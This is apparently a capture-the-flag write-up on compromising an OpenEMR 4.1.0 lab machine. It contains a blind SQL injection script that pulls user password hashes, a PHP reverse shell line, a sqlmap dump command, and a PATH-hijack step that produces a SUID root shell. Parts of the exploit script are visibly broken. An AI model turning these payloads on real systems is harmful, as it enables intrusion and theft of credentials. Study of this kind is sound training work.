DifficultyRelease DateAuthor
Intermediate29 Jul 2020v1n1v131r4


For this box, we perform directory bruteforce on the webserver to discover a vulnerable version of openemr. Openemr here is vulnerable to sql injection that we leverage to extract usernames and password hashes. After cracking the hashes, we use the discovered credentials to access the ftp server and upload a php reverse shell to the webserver. This serves as our initial entry. To escalate our privileges we abuse a suid binary that doesn’t use absolute path in commands it’s running, therefore we can hijack any of those commands and run any commands of our choosing as root.



Nmap scan report for
Host is up (0.00023s latency).

21/tcp open  ftp     ProFTPD 1.3.3d
80/tcp open  http    Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))
| http-robots.txt: 8 disallowed entries
| /manual/ /manual-2.2/ /addon-modules/ /doc/ /images/
|_/all_our_e-mail_addresses /admin/ /
|_http-server-header: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
|_http-title: Coming Soon 2
Service Info: OS: Unix


21 (FTP)

Anonymous access is not enabled and the server version isn’t vulnerable to any known vulnerabilities. We can look at this again when we have credentials.

80 (HTTP)

Accessing this on the browser, we only get a static site with not much functionality.


When we perform a directory bruteforce we get the following results:

ffuf -ic -c -u '' -e / -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -fc 403 | tee -a healthcare1.ffuf

After checking the directories we have discovered, openemr returns an application. From their website:

OpenEMR is the most popular open source electronic health records and medical practice management solution.


This version of openemr is outdated. Searching for available vulnerabilities and exploits for this version using searchsploit, we discover an sql injection vulnerability.


Unfortunately the PoC provided doesn’t work. I found a better one from packetstormsecurity:

The PoC provided shows a blind sql injection. The below payload causes the request to delay for about 5 seconds.'%2b(SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)%2b'

Using this, I was able to create a script to extract username and password hash of all existing users. Soon to be submitted to exploit-db.

#!/usr/bin/env python3

# Exploit Title: OpenEMR 4.1.0 - SQL Injection
# Date: 2021-04-03
# Exploit Author: Michael Ikua
# Vendor Homepage:
# Software Link:
# Version: 4.1.0
# Original Advisory:

import requests
import string
import sys

   ____                   ________  _______     __ __   ___ ____
  / __ \____  ___  ____  / ____/  |/  / __ \   / // /  <  // __ \\
 / / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ /  / // /_  / // / / /
/ /_/ / /_/ /  __/ / / / /___/ /  / / _, _/  /__  __/ / // /_/ /
\____/ .___/\___/_/ /_/_____/_/  /_/_/ |_|     /_/ (_)_(_)____/
    ____  ___           __   _____ ____    __    _
   / __ )/ (_)___  ____/ /  / ___// __ \  / /   (_)
  / /_/ / / / __ \/ __  /   \__ \/ / / / / /   / /
 / /_/ / / / / / / /_/ /   ___/ / /_/ / / /___/ /
/_____/_/_/_/ /_/\__,_/   /____/\___\_\/_____/_/   exploit by @ikuamike

all = string.printable
# edit url to point to your openemr instance
url = ""

def extract_users_num():
    print("[+] Finding number of users...")
    for n in range(1,100):
        payload = '\'%2b(SELECT+if((select count(username) from users)=' + str(n) + ',sleep(3),1))%2b\''
        r = requests.get(url+payload)
        if r.elapsed.total_seconds() > 3:
            user_length = n
    print("[+] Found number of users: " + str(user_length))
    return user_length

def extract_users():
    users = extract_users_num()
    print("[+] Extracting username and password hash...")
    output = []
    for n in range(1,1000):
        payload = '\'%2b(SELECT+if(length((select+group_concat(username,\':\',password)+from+users+limit+0,1))=' + str(n) + ',sleep(3),1))%2b\''
        r = requests.get(url+payload)
        if r.elapsed.total_seconds() > 3:
            length = n
    for i in range(1,length+1):
        for char in all:
            payload = '\'%2b(SELECT+if(ascii(substr((select+group_concat(username,\':\',password)+from+users+limit+0,1),'+ str(i)+',1))='+str(ord(char))+',sleep(3),1))%2b\''
            r = requests.get(url+payload)
            if r.elapsed.total_seconds() > 3:
                if char == ",":
                print(char, end='', flush=True)

except KeyboardInterrupt:
    print("[+] Exiting...")

After running the script, we get the hashes of 2 users.

admin : 3863efef9ee2bfbc51ecdca359c6302bed1389e8
medical : ab24aed5a7c4ad45615cd7e0da816eea39e4895d

We can try crack these hashes using hashcat/john the ripper but using would be quicker.


Now we have passwords for both users.

admin : ackbar
medical : medical

Shell as apache

With this credentials, let’s get back to ftp. Only the credentials for medical user work.


On ftp we see that we have access to the file system as the medical user, and we can even access the web server directory.

Due to the permissions set we can only write to openemr directory. With this, we can upload a php file that will provide a reverse shell.


Contents of revshell.php:

<?php system("/bin/bash -c '/bin/bash -i >& /dev/tcp/ 0>&1 &'"); ?>

Making a request to the uploaded file using curl, we get the reverse shell.


After spawning a proper tty shell with python, we can switch to the medical user. In the Documents folder there’s a Passwords.txt but the root creds don’t work.


Shell as root

Checking for usual privesc techniques like suid binaries by using find command we get one unusual binary.

find / -perm -4000 -ls 2>/dev/null

After running healthcheck, it outputs some system information like disks.


To understand what exactly it’s doing, we run strings on this binary. From this we identify ways to abuse this since it doesn’t use absolute paths on the commands it runs, therefore it will use what it finds from our PATH variable.


I’ll use ifconfig here with my own code and place it in the /tmp folder and update my PATH variable. When this ifconfig is executed it will created a copy of the bash binary which has suid permissions.

Contents of ifconfig:

cp /bin/bash /tmp/suidbash;chmod u+s /tmp/suidbash

We can then run the suidbash binary with -p to preserve the privileges and get root privileges and read the final root.txt.


After getting root I found I has skipped over user.txt in almirant’s home directory



After looking at other writeups, I discovered other possible paths for exploiting this machine.

Initial step needed was exploiting the sql injection. Using sqlmap would have been a quicker way and achieved the same results. I intentionally didn’t use sqlmap on my initial exploitation.

sqlmap -u "" --batch --dump -T users -C username,password

Using the obtained credentials, we can login to openemr as administrator and we can either upload a php file or edit existing php files for command execution.


The file upload functionality does not have restrictions, therefore we can upload our php reverse shell and it will be stored in that images directory.


We can the trigger the reverse shell by visiting the revshell.php in the /openemr/sites/default/images/ directory.


Reverse shell obtained.

  • Edit existing php files

Using the same files functionality, we can also perform edits to existing files. In this case we can edit config.php and add our reverse shell payload. After saving it and refreshing the page, a reverse shell is obtained on netcat listener.


Another possible path that would have been taken after initial shell was that, the shadow file in the /var/backups directory was world readable.


Therefore we can crack this hash and switch user to almirant.


Then we get user.txt.